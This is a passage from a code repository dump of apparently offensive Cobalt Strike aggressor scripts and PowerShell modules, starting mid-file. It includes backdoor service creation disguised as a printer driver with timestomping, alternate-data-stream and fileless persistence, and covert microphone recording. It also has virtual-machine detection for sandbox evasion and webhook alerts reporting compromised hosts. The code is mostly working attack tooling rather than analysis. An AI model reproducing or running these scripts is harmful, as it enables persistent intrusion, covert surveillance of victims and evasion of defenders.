on beacon $1 using file $2"); 65 | blog($bid, "Attempting to publish backdoor service"); 66 | bcd($bid, "C:\\Windows\\"); 67 | blog($bid, "\c4Changed directory on beacon $1 to C:\\Windows\\"); 68 | bupload($bid, $2); 69 | servicefilename($2); 70 | btimestomp($bid, "$servicebackdoorfilename", "C:\\Windows\\system32\\cmd.exe") 71 | prompt_text("Name of service to use?", "GenericPrinterDriver", { 72 | $serviceName = $1; 73 | }); 74 | prompt_text("Service Display Name to use?", "Generic Printer Driver Support", { 75 | $serviceDisplayName = $1; 76 | }); 77 | bshell($bid, "sc create $serviceName binPath= \"C:\\Windows\\ $+ $servicebackdoorfilename $+ \" start= auto DisplayName= \" $serviceDisplayName \""); 78 | bshell($bid, "sc start $serviceName "); 79 | blog($bid, "Backdoor service created using $servicebackdoorfilename "); 80 | blog($bid, "\c9[+] Backdoor creation complete!"); 81 | }); 82 | } 83 | } 84 | item "Create NTFS ADS Backdoor"{ 85 | local ('$bid'); 86 | # Open a payload selection dialoge, passes it to createADSBackdoor() 87 | # TODO: 88 | # * build out a proper Java Swing menu to customize the options 89 | # * Modify the powershell script to determine which key to write to HKLM || HKCU 90 | foreach $bid ($1){ 91 | openPayloadHelper(lambda({ 92 | createADSBackdoor($bid, $1); 93 | }, $bid => $1)); 94 | } 95 | } 96 | menu "Fileless backdoor" { 97 | item "Create fileless backdoor"{ 98 | local('$bid'); 99 | foreach $bid ($1){ 100 | openPayloadHelper(lambda({ 101 | createFilelessBackdoor($bid, $1); 102 | }, $bid => $1)); 103 | } 104 | } 105 | item "Check for fileless backdoor"{ 106 | local('$bid'); 107 | foreach $bid ($1){ 108 | bpowershell_import($bid, script_resource("PersistKit/scripts/Persist-Poweliks.ps1")); 109 | bpowershell($bid, "Test-Poweliks"); 110 | } 111 | } 112 | item "Remove fileless backdoor"{ 113 | local('$bid'); 114 | foreach $bid ($1){ 115 | bpowershell_import($bid, script_resource("PersistKit/scripts/Persist-Poweliks.ps1")); 116 | bpowershell($bid, "Remove-Poweliks"); 117 | } 118 | } 119 | } 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /matrix-hookshot/matrix-hookshot.cna: -------------------------------------------------------------------------------- 1 | # This script adds matrix-hookshot support via generic webhooks to Cobalt Strike 2 | # Ensure that you configure the variables necessary at the beginning 3 | # @Und3rf10w 4 | # Modified from @vysecurity 's pushover-ng.cna 5 | 6 | $version = "0.1a"; 7 | 8 | ########################## 9 | # MODIFY THESE VARIABLES # 10 | ########################## 11 | 12 | $location = "https://"; 13 | $uri = "/URI"; 14 | 15 | ########################## 16 | # END USER VARIABLES # 17 | ########################## 18 | 19 | import java.net.URLEncoder; 20 | import java.io.BufferedReader; 21 | import java.io.DataOutputStream; 22 | import java.io.InputStreamReader; 23 | import java.net.HttpURLConnection; 24 | import java.net.URL; 25 | 26 | # Based off of byt3bl33d3r's implementation 27 | sub sendpost{ 28 | 29 | $method = "POST"; 30 | $url = $1; 31 | $body = $2 . "\r\n"; 32 | 33 | $USER_AGENT = "Mozilla/5.0"; 34 | $CONTENT_TYPE = "application/json; charset=UTF-8"; 35 | 36 | $urlobj = [new URL: $url]; 37 | 38 | $con = [$urlobj openConnection]; 39 | 40 | [$con setRequestMethod: $method]; 41 | 42 | [$con setRequestProperty: "User-Agent", $USER_AGENT]; 43 | [$con setRequestProperty: "Content-Type", $CONTENT_TYPE]; 44 | 45 | [$con setDoOutput: true]; 46 | $wr = [new DataOutputStream: [$con getOutputStream]]; 47 | [$wr writeBytes: $body]; 48 | [$wr flush]; 49 | [$wr close]; 50 | 51 | $responseCode = [$con getResponseCode]; 52 | 53 | $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]]; 54 | 55 | $inputLine = ""; 56 | 57 | $response = ""; 58 | 59 | $inputLine = [$in readLine]; 60 | $response = $response . $inputLine . "\r\n"; 61 | 62 | while ($inputLine ne ""){ 63 | $inputLine = [$in readLine]; 64 | $response = $response . $inputLine . "\r\n"; 65 | } 66 | 67 | [$in close]; 68 | 69 | return $response; 70 | 71 | } 72 | 73 | 74 | on ready { 75 | elog("Matrix-hookshot notifications are now configured!"); 76 | webhook("Cobalt Strike: Notification Configuration Status","matrix-hookshot notifications now configured"); 77 | } 78 | 79 | #on event_notify { 80 | # $time = formatDate($2, "yyyy.MM.dd 'at' HH:mm:ss z"); 81 | # webhook("Cobalt Strike: System Event","$time $+ : $1"); 82 | #} 83 | 84 | on event_join { 85 | $time = formatDate($2, "yyyy.MM.dd 'at' HH:mm:ss z"); 86 | webhook("Cobalt Strike: User Joined","$time $+ : $1 has joined"); 87 | } 88 | 89 | on event_action { 90 | $time = formatDate($2, "yyyy.MM.dd 'at' HH:mm:ss z"); 91 | webhook("Cobalt Strike: Action Performed","$time $+ : < $+ $3 $+ >: $1 "); 92 | } 93 | 94 | on event_public { 95 | $time = formatDate($3, "yyyy.MM.dd 'at' HH:mm:ss z"); 96 | webhook("Cobalt Strike: New Message","$time $+ : [" . $1 . "]: " . $2 ); 97 | } 98 | 99 | on event_quit { 100 | $time = formatDate($2, "yyyy.MM.dd 'at' HH:mm:ss z"); 101 | webhook("Cobalt Strike: User Exit","$time $+ : $1 has quit"); 102 | } 103 | 104 | on ssh_initial { 105 | webhook("Cobalt Strike: New SSH Session", "New SSH Session Received - ID: $1 | Hostname " . binfo($1, "computer")); 106 | } 107 | 108 | on profiler_hit { 109 | webhook("Cobalt Strike: Profiler Hit","Profiler Hit Received - External: $1 | Internal: $2 | UA: $3 | Email: " . tokenToEmail($5)); 110 | } 111 | 112 | on web_hit { 113 | # elog($1); 114 | if ($1 == "POST" && $5 == "404 Not Found"){ 115 | $time = formatDate($9, "yyyy.MM.dd 'at' HH:mm:ss z"); 116 | $vuri = $2; 117 | $eval = strrep($vuri, $uri, ""); 118 | # eval contains final bid number to exit 119 | bexit($eval); 120 | 121 | } 122 | } 123 | 124 | on beacon_initial { 125 | if (-isadmin $1){ 126 | webhook("Cobalt Strike: New Beacon","New Beacon Received - ID: $1 | User: " . binfo($1, "user") . " | Hostname: " . binfo($1, "computer") . " | PID: " . binfo($1,"pid") . " | HOST: " . binfo($1,"host") . " | ADMIN BEACON | " . " | IP: " . binfo($1, "external"), $1); 127 | $elog = "New Beacon Received - ID: $1 | User: " . binfo($1, "user") . " | Hostname: " . binfo($1, "computer") . " | PID: " . binfo($1,"pid") . " | HOST: " . binfo($1,"host") . " | ADMIN BEACON | " . " IP: " . binfo($1, "external"); 128 | } 129 | else { 130 | webhook("Cobalt Strike: New Beacon","New Beacon Received - ID: $1 | User: " . binfo($1, "user") . " | Hostname: " . binfo($1, "computer") . " | PID: " . binfo($1,"pid") . " | HOST: " . binfo($1,"host") . " | " . " | IP: " . binfo($1, "external"), $1); 131 | $elog = "New Beacon Received - ID: $1 | User: " . binfo($1, "user") . " | Hostname: " . binfo($1, "computer") . " | PID: " . binfo($1,"pid") . " | HOST: " . binfo($1,"host") . " | IP: " . binfo($1, "external"); 132 | } 133 | 134 | elog("\x039".$elog); 135 | } 136 | 137 | sub webhook { 138 | $title = $1; 139 | $message = $2; 140 | 141 | # $body = "token=" . $token . "&user=" . $user . "&title=" . $title . "&message=" . $message; 142 | # {"username": "matrix-hookshot-cs", "html": "\"

$title


$message<\p>\"", "text": "$title\r\n$message"} 143 | $body = '{"html":' . "\"

" . $title . "

" . $message . "\"," . '"text": ' . "\"". $title . "%0a%0d" . $message . "\"}"; 144 | 145 | # We'll use fork so we won't be blocking. Now it can work nicely in either the UI or loaded with agscript 146 | fork(&sendpost, $1 => $location, $2 => $body); 147 | 148 | } 149 | -------------------------------------------------------------------------------- /kits/EnumKit/scripts/Get-MicrophoneAudio.ps1: -------------------------------------------------------------------------------- 1 | function Get-MicrophoneAudio { 2 | <# 3 | .SYNOPSIS 4 | Records audio from the microphone and saves to a file on disk 5 | Author: Justin Warner (@sixdub) 6 | License: BSD 3-Clause 7 | Required Dependencies: None 8 | Optional Dependencies: None 9 | 10 | All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info: 11 | http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 12 | https://github.com/PowerShellMafia/PowerSploit 13 | 14 | Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/ 15 | 16 | .DESCRIPTION 17 | Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk. 18 | 19 | .OUTPUTS 20 | Outputs the FileInfo object pointing to the recording which has been saved to disk. 21 | 22 | .PARAMETER Path 23 | The location to save the audio 24 | 25 | .PARAMETER Length 26 | The length of the audio to record in seconds. Default: 30 27 | 28 | .PARAMETER Alias 29 | The alias to use for the WinMM recording. Default: Random 10 Chars 30 | 31 | .EXAMPLE 32 | Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET" 33 | Description 34 | ----------- 35 | Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret" 36 | #> 37 | [OutputType([System.IO.FileInfo])] 38 | Param 39 | ( 40 | [Parameter( Position = 0, Mandatory = $True)] 41 | [ValidateScript({Split-Path $_ | Test-Path})] 42 | [String] $Path, 43 | [Parameter( Position = 1, Mandatory = $False)] 44 | [Int] $Length = 30, 45 | [Parameter( Position = 2, Mandatory = $False)] 46 | [String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_})) 47 | 48 | ) 49 | 50 | #Get-DelegateType from PowerSploit 51 | function Local:Get-DelegateType 52 | { 53 | Param 54 | ( 55 | [OutputType([Type])] 56 | 57 | [Parameter( Position = 0)] 58 | [Type[]] 59 | $Parameters = (New-Object Type[](0)), 60 | 61 | [Parameter( Position = 1 )] 62 | [Type] 63 | $ReturnType = [Void] 64 | ) 65 | 66 | $Domain = [AppDomain]::CurrentDomain 67 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 68 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 69 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 70 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 71 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 72 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 73 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 74 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 75 | 76 | Write-Output $TypeBuilder.CreateType() 77 | } 78 | 79 | #Get-ProcAddress from PowerSploit 80 | function local:Get-ProcAddress 81 | { 82 | Param 83 | ( 84 | [OutputType([IntPtr])] 85 | 86 | [Parameter( Position = 0, Mandatory = $True )] 87 | [String] 88 | $Module, 89 | 90 | [Parameter( Position = 1, Mandatory = $True )] 91 | [String] 92 | $Procedure 93 | ) 94 | 95 | # Get a reference to System.dll in the GAC 96 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 97 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 98 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 99 | # Get a reference to the GetModuleHandle and GetProcAddress methods 100 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 101 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') 102 | # Get a handle to the module specified 103 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 104 | $tmpPtr = New-Object IntPtr 105 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 106 | 107 | # Return the address of the function 108 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 109 | } 110 | 111 | #Initialize and call LoadLibrary on our required DLL 112 | $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA 113 | $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) 114 | $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) 115 | $HND = $null 116 | $HND = $LoadLibrary.Invoke('winmm.dll') 117 | if ($HND -eq $null) 118 | { 119 | Throw 'Failed to aquire handle to winmm.dll' 120 | } 121 | 122 | #Initialize the function call to count devices 123 | $waveInGetNumDevsAddr = $null 124 | $waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs 125 | $waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32]) 126 | if ($waveInGetNumDevsAddr -eq $null) 127 | { 128 | Throw 'Failed to aquire address to WaveInGetNumDevs' 129 | } 130 | $waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate) 131 | 132 | #Initilize the function call to record audio 133 | $mciSendStringAddr = $null 134 | $mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA 135 | $mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32]) 136 | if ($mciSendStringAddr -eq $null) 137 | { 138 | Throw 'Failed to aquire address to mciSendStringA' 139 | } 140 | $mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate) 141 | 142 | #Initialize the ability to resolve MCI Errors 143 | $mciGetErrorStringAddr = $null 144 | $mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA 145 | $mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool]) 146 | if ($mciGetErrorStringAddr -eq $null) 147 | { 148 | Throw 'Failed to aquire address to mciGetErrorString' 149 | } 150 | $mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate) 151 | 152 | #Get device count 153 | $DeviceCount = $waveInGetNumDevs.Invoke() 154 | 155 | if ($DeviceCount -gt 0) 156 | { 157 | 158 | #Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx 159 | $errmsg = New-Object Text.StringBuilder 150 160 | 161 | #Open an alias 162 | $rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0) 163 | if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} 164 | 165 | #Call recording function 166 | $rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0) 167 | if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} 168 | 169 | Start-Sleep -s $Length 170 | 171 | #save recorded audio to disk 172 | $rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0) 173 | if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} 174 | 175 | #terminate alias 176 | $rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0); 177 | if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} 178 | 179 | $OutFile = Get-ChildItem -path $path 180 | Write-Output $OutFile 181 | 182 | } 183 | else 184 | { 185 | Throw 'Failed to enumerate any recording devices' 186 | } 187 | } 188 | -------------------------------------------------------------------------------- /kits/AntiForensicsKit/scripts/Check-VM.ps1: -------------------------------------------------------------------------------- 1 | # Taken from Nishang (https://github.com/samratashok/nishang) 2 | # Checks if host is a virtual machine 3 | # @Und3rf10w 4 | 5 | function Check-VM 6 | { 7 | 8 | <# 9 | .SYNOPSIS 10 | Nishang script which detects whether it is in a known virtual machine. 11 | 12 | .DESCRIPTION 13 | This script uses known parameters or 'fingerprints' of Hyper-V, VMWare, Virtual PC, Virtual Box, 14 | Xen and QEMU for detecting the environment. 15 | 16 | .EXAMPLE 17 | PS > Check-VM 18 | 19 | .LINK 20 | http://www.labofapenetrationtester.com/2013/01/quick-post-check-if-your-payload-is.html 21 | https://github.com/samratashok/nishang 22 | 23 | .NOTES 24 | The script draws heavily from checkvm.rb post module from msf. 25 | https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/checkvm.rb 26 | #> 27 | [CmdletBinding()] Param() 28 | $ErrorActionPreference = "SilentlyContinue" 29 | #Hyper-V 30 | $hyperv = Get-ChildItem HKLM:\SOFTWARE\Microsoft 31 | if (($hyperv -match "Hyper-V") -or ($hyperv -match "VirtualMachine")) 32 | { 33 | $hypervm = $true 34 | } 35 | 36 | if (!$hypervm) 37 | { 38 | $hyperv = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion 39 | if ($hyperv -match "vrtual") 40 | { 41 | $hypervm = $true 42 | } 43 | } 44 | 45 | if (!$hypervm) 46 | { 47 | $hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT 48 | if ($hyperv -match "vrtual") 49 | { 50 | $hypervm = $true 51 | } 52 | } 53 | 54 | if (!$hypervm) 55 | { 56 | $hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT 57 | if ($hyperv -match "vrtual") 58 | { 59 | $hypervm = $true 60 | } 61 | } 62 | 63 | if (!$hypervm) 64 | { 65 | $hyperv = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services 66 | if (($hyperv -match "vmicheartbeat") -or ($hyperv -match "vmicvss") -or ($hyperv -match "vmicshutdown") -or ($hyperv -match "vmiexchange")) 67 | { 68 | $hypervm = $true 69 | } 70 | } 71 | 72 | if ($hypervm) 73 | { 74 | 75 | "This is a Hyper-V machine." 76 | 77 | } 78 | 79 | #VMWARE 80 | 81 | $vmware = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services 82 | if (($vmware -match "vmdebug") -or ($vmware -match "vmmouse") -or ($vmware -match "VMTools") -or ($vmware -match "VMMEMCTL")) 83 | { 84 | $vmwarevm = $true 85 | } 86 | 87 | if (!$vmwarevm) 88 | { 89 | $vmware = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System\BIOS -Name SystemManufacturer 90 | if ($vmware -match "vmware") 91 | { 92 | $vmwarevm = $true 93 | } 94 | } 95 | 96 | if (!$vmwarevm) 97 | { 98 | $vmware = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier 99 | if ($vmware -match "vmware") 100 | { 101 | $vmwarevm = $true 102 | } 103 | } 104 | 105 | if (!$vmwarevm) 106 | { 107 | $vmware = Get-Process 108 | if (($vmware -eq "vmwareuser.exe") -or ($vmware -match "vmwaretray.exe")) 109 | { 110 | $vmwarevm = $true 111 | } 112 | } 113 | 114 | if ($vmwarevm) 115 | { 116 | 117 | "This is a VMWare machine." 118 | 119 | } 120 | 121 | #Virtual PC 122 | 123 | $vpc = Get-Process 124 | if (($vpc -eq "vmusrvc.exe") -or ($vpc -match "vmsrvc.exe")) 125 | { 126 | $vpcvm = $true 127 | } 128 | 129 | if (!$vpcvm) 130 | { 131 | $vpc = Get-Process 132 | if (($vpc -eq "vmwareuser.exe") -or ($vpc -match "vmwaretray.exe")) 133 | { 134 | $vpcvm = $true 135 | } 136 | } 137 | 138 | if (!$vpcvm) 139 | { 140 | $vpc = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services 141 | if (($vpc -match "vpc-s3") -or ($vpc -match "vpcuhub") -or ($vpc -match "msvmmouf")) 142 | { 143 | $vpcvm = $true 144 | } 145 | } 146 | 147 | if ($vpcvm) 148 | { 149 | 150 | "This is a Virtual PC." 151 | 152 | } 153 | 154 | 155 | #Virtual Box 156 | 157 | $vb = Get-Process 158 | if (($vb -eq "vboxservice.exe") -or ($vb -match "vboxtray.exe")) 159 | { 160 | 161 | $vbvm = $true 162 | 163 | } 164 | if (!$vbvm) 165 | { 166 | $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT 167 | if ($vb -match "vbox_") 168 | { 169 | $vbvm = $true 170 | } 171 | } 172 | 173 | if (!$vbvm) 174 | { 175 | $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT 176 | if ($vb -match "vbox_") 177 | { 178 | $vbvm = $true 179 | } 180 | } 181 | 182 | 183 | if (!$vbvm) 184 | { 185 | $vb = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier 186 | if ($vb -match "vbox") 187 | { 188 | $vbvm = $true 189 | } 190 | } 191 | 192 | 193 | 194 | if (!$vbvm) 195 | { 196 | $vb = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion 197 | if ($vb -match "vbox") 198 | { 199 | $vbvm = $true 200 | } 201 | } 202 | 203 | 204 | if (!$vbvm) 205 | { 206 | $vb = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services 207 | if (($vb -match "VBoxMouse") -or ($vb -match "VBoxGuest") -or ($vb -match "VBoxService") -or ($vb -match "VBoxSF")) 208 | { 209 | $vbvm = $true 210 | } 211 | } 212 | 213 | if ($vbvm) 214 | { 215 | 216 | "This is a Virtual Box." 217 | 218 | } 219 | 220 | 221 | 222 | #Xen 223 | 224 | $xen = Get-Process 225 | 226 | if ($xen -eq "xenservice.exe") 227 | { 228 | 229 | $xenvm = $true 230 | 231 | } 232 | 233 | if (!$xenvm) 234 | { 235 | $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT 236 | if ($xen -match "xen") 237 | { 238 | $xenvm = $true 239 | } 240 | } 241 | 242 | if (!$xenvm) 243 | { 244 | $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\DSDT 245 | if ($xen -match "xen") 246 | { 247 | $xenvm = $true 248 | } 249 | } 250 | 251 | if (!$xenvm) 252 | { 253 | $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT 254 | if ($xen -match "xen") 255 | { 256 | $xenvm = $true 257 | } 258 | } 259 | 260 | 261 | if (!$xenvm) 262 | { 263 | $xen = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services 264 | if (($xen -match "xenevtchn") -or ($xen -match "xennet") -or ($xen -match "xennet6") -or ($xen -match "xensvc") -or ($xen -match "xenvdb")) 265 | { 266 | $xenvm = $true 267 | } 268 | } 269 | 270 | 271 | if ($xenvm) 272 | { 273 | 274 | "This is a Xen Machine." 275 | 276 | } 277 | 278 | 279 | #QEMU 280 | 281 | $qemu = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier 282 | if ($qemu -match "qemu") 283 | { 284 | 285 | $qemuvm = $true 286 | 287 | } 288 | 289 | if (!$qemuvm) 290 | { 291 | $qemu = Get-ItemProperty hklm:HARDWARE\DESCRIPTION\System\CentralProcessor\0 -Name ProcessorNameString 292 | if ($qemu -match "qemu") 293 | { 294 | $qemuvm = $true 295 | } 296 | } 297 | 298 | if ($qemuvm) 299 | { 300 | 301 | "This is a Qemu machine." 302 | 303 | } 304 | } -------------------------------------------------------------------------------- /kits/DebugKit/DebugKit.cna: -------------------------------------------------------------------------------- 1 | # This kit is limited to actions that I use for development and debugging, and thus is not loaded with the rest of them. 2 | # @Und3rf10w 3 | 4 | command beaconinfo { 5 | foreach $beacon (beacons()) { 6 | println("Beacon ID: " . $beacon['id'] . " is " . $beacon['computer']); 7 | } 8 | } 9 | 10 | # This basically shows the powershell commandlets loaded for every beacon 11 | command loaded_powershell{ 12 | foreach $beacon (beacons()) { 13 | if (data_query('cmdlets')[$beacon['id']] ne $null) { 14 | println("\c7ID: \cF" . $beacon['id'] . ",\c3 Hostname: \cF" . $beacon['computer'] . ",\c4 Cmdlets Enabled: \cF" . data_query('cmdlets')[$beacon['id']]); 15 | } 16 | } 17 | } 18 | 19 | # This shows what responses generated by the c2 server would look like 20 | command c2_sample_server{ 21 | println(data_query('metadata')['c2sample.server']); 22 | } 23 | 24 | # This shows what requests generated by the clients look like 25 | command c2_sample_client{ 26 | println(data_query('metadata')['c2sample.client']); 27 | } 28 | 29 | # This shows a list of everyone that's connected to the teamserver: 30 | command who{ 31 | println("\c7Currently logged on users on this teamserver are:"); 32 | foreach $user (data_query('users')){ 33 | println("\c3 * \cF $user"); 34 | } 35 | } 36 | 37 | # This command shows a hostname of every sessions that happened, active or inactive. Basically just to provide a list of pwned hosts. 38 | command pwn3d_hosts { 39 | foreach $session (data_query('sessions')) { 40 | $computer = $session['computer']; 41 | println($computer); 42 | } 43 | } 44 | 45 | # Shows the queryable Keys within cobalt strike's data model 46 | command show_data_keys{ 47 | foreach $key (data_keys()){ 48 | println("\n\c4=== $key ==="); 49 | } 50 | } 51 | 52 | # Queries the specified key within cobalt strike's data model 53 | # USAGE: query_data_key 54 | command query_data_key { 55 | $key_name = $1; 56 | println("\n\c4=== Data for \c8\U$key_name\U \c4data key ===\n"); 57 | println(data_query($key_name)); 58 | } 59 | 60 | # Syncs all of the downloads on the teamserver to a specified path. Recursively recreates the file structure as it was on the system the file was downloaded from 61 | # This is not very safe to use. 62 | # TODO: Figure out how to get the content of a file stored on the teamserver 63 | # USAGE: sync_all_downloads [/path/on/client/machine/to/save/downloads/to] 64 | command sync_all_downloads { 65 | $file_path = $1; # TODO: sanity check, $1 MUST be provided. 66 | if (!-exists $file_path){ 67 | mkdir($filepath); 68 | } 69 | if (!-isDir $file_path){ 70 | println("\c4 $file_path is not a directory"); 71 | exit("Specified direcotry is not a directory"); 72 | } 73 | if (!-canwrite $file_path){ 74 | println("\c4 We can not write to $filepath (check permissions?)"); 75 | exit("Can not write to specified directory"); 76 | } 77 | # foreach $file (downloads()){ 78 | # if ($2){ 79 | # if ( ! $file['host'] eq $2 ){ 80 | # continue 81 | # } 82 | # } 83 | # println("Processing download for " . size(downloads()) . " files..."); 84 | # $newpath = $file['path']; 85 | # $newpath = strrep($newpath, "\\", "/"); 86 | # if ($newpath eq ""){ $newpath = "/"; } # Sanity check in the event that the new path is blank 87 | # $newpath = $file_path + "/" + $file['host'] + "/" + $newpath; 88 | # if (!-exists $newpath){ 89 | # mkdir($newpath); 90 | # } 91 | # $fullfile = $newpath + $file['name']; 92 | # TODO: Figure out how to get the content of a file sitting on the teamserver 93 | # if (checkError($error)) { 94 | # println("Error recieved while trying to write " . $fullfile . ": $error"); 95 | # } 96 | # if (-canwrite $fullfile){ 97 | # $handle = openf(">>$fullfile"); 98 | # println($handle, $fileontheCSServer); #See TODO 99 | # closef($handle); 100 | # } else { 101 | # println("Error while trying to write to $fullfile"); 102 | # } 103 | # } 104 | # command sync_all_downloads { 105 | # $file_path = $1; # TODO: sanity check, $1 MUST be provided. 106 | # if (!-exists $file_path){ 107 | # mkdir($filepath); 108 | # } 109 | # if (!-isDir $file_path){ 110 | # println("\c4 $file_path is not a directory"); 111 | # exit("Specified direcotry is not a directory"); 112 | # } 113 | # if (!-canwrite $file_path){ 114 | # println("\c4 We can not write to $filepath (check permissions?)"); 115 | # exit("Can not write to specified directory"); 116 | # } 117 | # foreach $file (downloads()){ 118 | # if ($2){ 119 | # if (!$file['host'] eq $2){ 120 | # continue 121 | # } 122 | # } 123 | # println("Processing download for " . size(downloads()) . " files..."); 124 | # $newpath = $file['path']; 125 | # $newpath = strrep($newpath, "\\", "/"); 126 | # if ($newpath eq ""){ $newpath = "/"; } # Sanity check in the event that the new path is blank 127 | # $newpath = $file_path + "/" + $file['host'] + "/" + $newpath; 128 | # if (!-exists $newpath){ 129 | # mkdir($newpath); 130 | # } 131 | # # $fullfile = $newpath + $file['name']; 132 | # # TODO: Figure out how to get the content of a file sitting on the teamserver 133 | # # if (checkError($error)) { 134 | # # println("Error recieved while trying to write " . $fullfile . ": $error"); 135 | # # } 136 | # # if (-canwrite $fullfile){ 137 | # # $handle = openf(">>$fullfile"); 138 | # # println($handle, $fileontheCSServer); #See TODO 139 | # # closef($handle); 140 | # # } else { 141 | # # println("Error while trying to write to $fullfile"); 142 | # # } 143 | # } 144 | } 145 | 146 | # Generates and display a process tree for the selected beacon. 147 | # Use this to determine your current beacon's exposure to HIDS. 148 | # I've ran into situations where HIDS/AV will attempt to kill as many parents of a malicous process as possible 149 | 150 | sub pstreeBpsArray { 151 | @ps_arry = split('\n', $2); 152 | $b_pid = beacon_info($1, "pid"); 153 | treeBuilder(@ps_arry, $b_pid, 0); 154 | pstreeCreate(@tree, size(@tree)); 155 | blog($1, $treeoutput); 156 | } 157 | 158 | sub treeBuilder{ 159 | $b_pid = $2; 160 | @ps_arry = $1; 161 | $x = $3; 162 | foreach $entry (@ps_arry){ 163 | ($name, $ppid, $pid) = split("\\s+", $entry); 164 | if ($pid eq $b_pid){ 165 | @tree[$x][0] = $name; 166 | @tree[$x][1] = $pid; 167 | @tree[$x][2] = $ppid; 168 | treeBuilder(@ps_arry, $ppid, $x++); 169 | } 170 | } 171 | } 172 | 173 | sub pstreeCreate { 174 | $y = 0; 175 | $first_time_bool = true; 176 | @full_tree = $1; 177 | println(@full_tree); 178 | $x = $2; 179 | $x--; 180 | while ($x >= 0){ 181 | $spacer = ("\t" x $y); 182 | if (@full_tree[$x][0] ne $null){ 183 | if ($first_time_bool ne true){ 184 | $treeoutput = $treeoutput . "\n" . $spacer . "↳ "; 185 | } 186 | } 187 | $first_time_bool = false; 188 | $treeoutput = 